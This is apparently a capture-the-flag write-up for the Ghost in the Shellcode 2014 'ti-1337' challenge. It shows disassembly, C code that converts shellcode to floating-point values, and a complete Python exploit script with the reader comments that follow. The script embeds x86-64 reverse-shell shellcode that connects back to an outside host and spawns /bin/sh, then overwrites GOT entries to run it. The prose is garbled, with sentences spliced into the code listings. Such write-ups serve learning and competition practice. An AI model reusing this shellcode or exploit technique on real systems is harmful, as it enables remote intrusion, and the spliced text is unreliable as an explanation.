.text:00000000004014EE push rbp .text:00000000004014EF mov rbp, rsp .text:00000000004014F2 lea rax, theStackSize .text:00000000004014F9 mov rax, [rax] .text:00000000004014FC test rax, rax .text:00000000004014FF js short maybeEmpty .text:0000000000401501 lea rax, theStackSize .text:0000000000401508 mov rdx, [rax] .text:000000000040150B lea rax, theStackSize .text:0000000000401512 mov rax, [rax+rdx*8+8] .text:0000000000401517 mov [rbp+var_8], rax .text:000000000040151B .text:000000000040151B maybeEmpty: ; CODE XREF: pop+11 j .text:000000000040151B lea rax, theStackSize .text:0000000000401522 mov rax, [rax] .text:0000000000401525 lea rdx, [rax-1] .text:0000000000401529 lea rax, theStackSize .text:0000000000401530 mov [rax], rdx .text:0000000000401533 mov rax, [rbp+var_8] .text:0000000000401537 mov [rbp+var_18], rax .text:000000000040153B movsd xmm0, [rbp+var_18] .text:0000000000401540 pop rbp .text:0000000000401541 retn .text:0000000000401541 pop endpBy popping two segments back and putting a number on the stack, we are able to write our shellcode onto the stack. However, since the program is reading in inputs as floating point numbers, our reverse shell needed to be converted to floating point numbers in segments. Python wasn't playing nice with this, so C was used to do the conversion. The relevant code is below.
void this (long long int y){We pad on to the end to ensure that we hit out shellcode. The winning python script is below.
12 double x;
11 // printf("0x%lx\n",y);
10 int i;
9 char *xx=&x,*yy=&y;
8 for(i=0;i<8;i++) {
7 memcpy((char*)&xx[i],(char*)&yy[i],1);
6 }
5 printf("\"%.18lg\"\n",x);
4 // scanf("%lg",&x);
3 // memcpy(&y,&x,8);
2 // printf("0x%lx\n",y);
1 // printf("\n\n");
0 }
import pexpectAny questions or comments, feel free to let me know!
import fdpexpect
import sys
import socket
import time
connectBack = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
connectBack += "\xb9\x02\x00\x23\x28\x32\x4c\x8e\xc9\x51\x48\x89\xe6\x6a\x10"
connectBack += "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
connectBack += "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
connectBack += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
connectBack += (8-len(connectBack)%8)*"\x90"
exploit = []
exploit.append("-6.82852703437048257e-229")
exploit.append("-8.5942656633456451e+185")
exploit.append("6.68474035129115045e+91")
exploit.append("9.20412815489135857e-79")
exploit.append("4.94087008802812102e+255")
exploit.append("4.0852036710841077e+40")
exploit.append("2.04296219533742501e+204")
exploit.append("-2.16211186289897248e+46")
exploit.append("-9.47208657532450845e-33")
exploit.append("2.43058597665742808e+204")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
s = socket.socket()
s.connect(("ti-1337.2014.ghostintheshellcode.com",31415))
so = fdpexpect.fdspawn(s)
so.logfile = sys.stdout
so.sendline("b")
so.expect("\n")
for i in range(0,30):
so.sendline("b")
so.expect("\n")
so.sendline("b")
so.expect("\n")
so.sendline(str(exploit[i]))
time.sleep(.1)
so.expect("\n\n\n")
--Imp3rial
Hi, so how did you get the code running without overwriting a return address?
ReplyDeleteMy apologies, I forgot to mention how to exploit actually activated. The stack was stored in the memory location below the GOT plt table. So all the extra "3.11458192633288475e-317" that I write are actually just converted blocks of the return address to the code I just put onto the stack. So when any of thew functions are called, it instead calls my shellcode on the rwx memory.
ReplyDelete